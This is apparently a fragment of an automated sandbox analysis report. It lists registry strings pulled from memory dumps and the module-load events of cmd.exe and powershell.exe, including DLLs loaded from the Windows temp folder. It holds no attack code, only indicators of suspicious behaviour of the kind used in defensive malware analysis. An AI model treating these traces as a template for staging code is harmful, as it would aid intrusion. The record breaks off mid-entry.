"y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003044.00000001.171730.31DD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00003044.00000001.171730.4C0C0000.00000004.mdmp "Registry\Machine\Software\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-0000000000" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\Cd" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{7" in Source: 00000000-00003044.00000001.171730.4C7BE000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "E\Software\M" in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005872.00000000.172076.60850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005872.00000000.172076.7AC20000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005872.00000000.172076.7B2E0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005872.00000000.172076.824DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005872.00000000.172076.824DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005872.00000000.172076.824DA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005872.00000000.172076.824DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005872.00000000.172076.824DA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005872.00000000.172076.824DA000.00000002.mdmp "E\Software\M" in Source: 00000000-00005872.00000001.173995.60850000.00000004.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005872.00000001.173995.60850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005872.00000001.173995.60850000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000001.173995.60850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000001.173995.60850000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000001.173995.60850000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005872.00000001.173995.60850000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005872.00000001.173995.7AC20000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005872.00000001.173995.933A8000.00000002.mdmp "HKLM\" in Source: 00000000-00005872.00000001.173995.933A8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005872.00000001.173995.933A8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005872.00000001.173995.933A8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005872.00000001.173995.933A8000.00000002.mdmp "E\Software\M" in Source: 00000000-00005872.00000002.174371.6087E000.00000004.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005872.00000002.174371.6087E000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005872.00000002.174371.6087E000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000002.174371.6087E000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000002.174371.6087E000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005872.00000002.174371.6087E000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005872.00000002.174371.7AC20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006572.00000000.174709.23700000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006572.00000000.174709.23700000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00006572.00000000.174709.23700000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006572.00000000.174709.23700000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006572.00000000.174709.23700000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006572.00000000.174709.3DC30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006572.00000001.175144.2372F000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006572.00000001.175144.2372F000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00006572.00000001.175144.2372F000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006572.00000001.175144.2372F000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006572.00000001.175144.2372F000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006572.00000001.175144.3DC30000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006572.00000001.175144.824DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006572.00000001.175144.824DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006572.00000001.175144.824DA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006572.00000001.175144.824DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006572.00000001.175144.824DA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006572.00000001.175144.824DA000.00000002.mdmp40:T4e28,"cmd.exe" loaded module "KERNEL32" at base 7ffadac60000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffad7fa0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffad7fa0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffad7fa0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffad97c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffad7fa0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffad7fa0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffad7fa0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffab8700000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffadac60000 "cmd.exe" loaded module "COMCTL32.DLL" at base 7ffac63a0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffad5710000 "cmd.exe" loaded module "RPCRT4.DLL" at base 7ffada440000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffad1d30000 "cmd.exe" loaded module "USER32.DLL" at base 7ffada9b0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.SHELL.SERVICEHOSTBUILDER.DLL" at base 7ffac3fb0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 7ffab0c60000 "cmd.exe" loaded module "PROPSYS.DLL" at base 7ffad3680000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffad3680000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 7ffad9b30000 "cmd.exe" loaded module "SECUR32.DLL" at base 7ffacda70000 "cmd.exe" loaded module "SSPICLI.DLL" at base 7ffad6fc0000 "cmd.exe" loaded module "MLANG.DLL" at base 7ffacccc0000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 7ffad99e0000 "cmd.exe" loaded module "WININET.DLL" at base 7ffac5fc0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffad7780000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffadad40000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 7ffabe0b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffad7fa0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffad7fa0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffad7fa0000 "powershell.exe" loaded module "KERNEL32" at base 7ffadac60000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffab8700000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffadac60000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffada770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffab3b00000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffad9730000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffad70e0000 "powershell.exe" loaded module "VERSION.DLL" at base 7fface530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffa9c550000 "powershell.exe" loaded module "USER32.DLL" at base 7ffada9b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffad7fa0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffab8300000 "powershell.exe" loaded module "NTDLL" at base 7ffadad40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffad9b30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffa99bd0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffada440000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffada2f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffad9b30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffad9900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffa98f60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffa984e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffa98430000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffad64d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffad7f20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffa963c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffad9b30000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffad9b30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffadad40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 1f133f40000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffad8210000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffad7260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffad7260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffad72c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 7ffabbaa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffa96250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fface530000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffab94a0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffad72c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\7C3AP61I.DLL" at base 7ffa96200000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffa96090000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffa94d20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffa94be0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffa94330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffa96030000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffa939c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffa93650000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffad7fa0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffa93500000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffa93490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffa933b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffa93360000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffacda70000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffad6fc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ffad60c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffad5710000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffab8770000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffadac60000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffad6f90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffada770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffad9b30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffa93120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffab82d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffad3680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffac9260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ffad8210000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffacc340000 "powershell.exe" loaded module "MSISO.DLL" at base 7ffab8640000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffad7fa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffad7780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffad6b90000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffad5490000 "cmd.exe" loaded module "SHELL32.DLL" at base 7ffad8210000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffac9260000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ffad8210000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffacc340000 "cmd.exe" loaded module "MSISO.DLL" at base 7ffab8640000 "cmd.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffad7fa0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 7ffac4d10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffab87a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffab18d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffa96470000 "powershell.exe" loaded module "PSAPI.DLL" at base 1ef629a0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffabc2f0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffabbaa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\7C3AP61I.DLL" at base 7ffa96420000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffa96380000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffa96210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffa94450000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffa960a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffa940e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffa93830000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffa96040000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffa936e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at 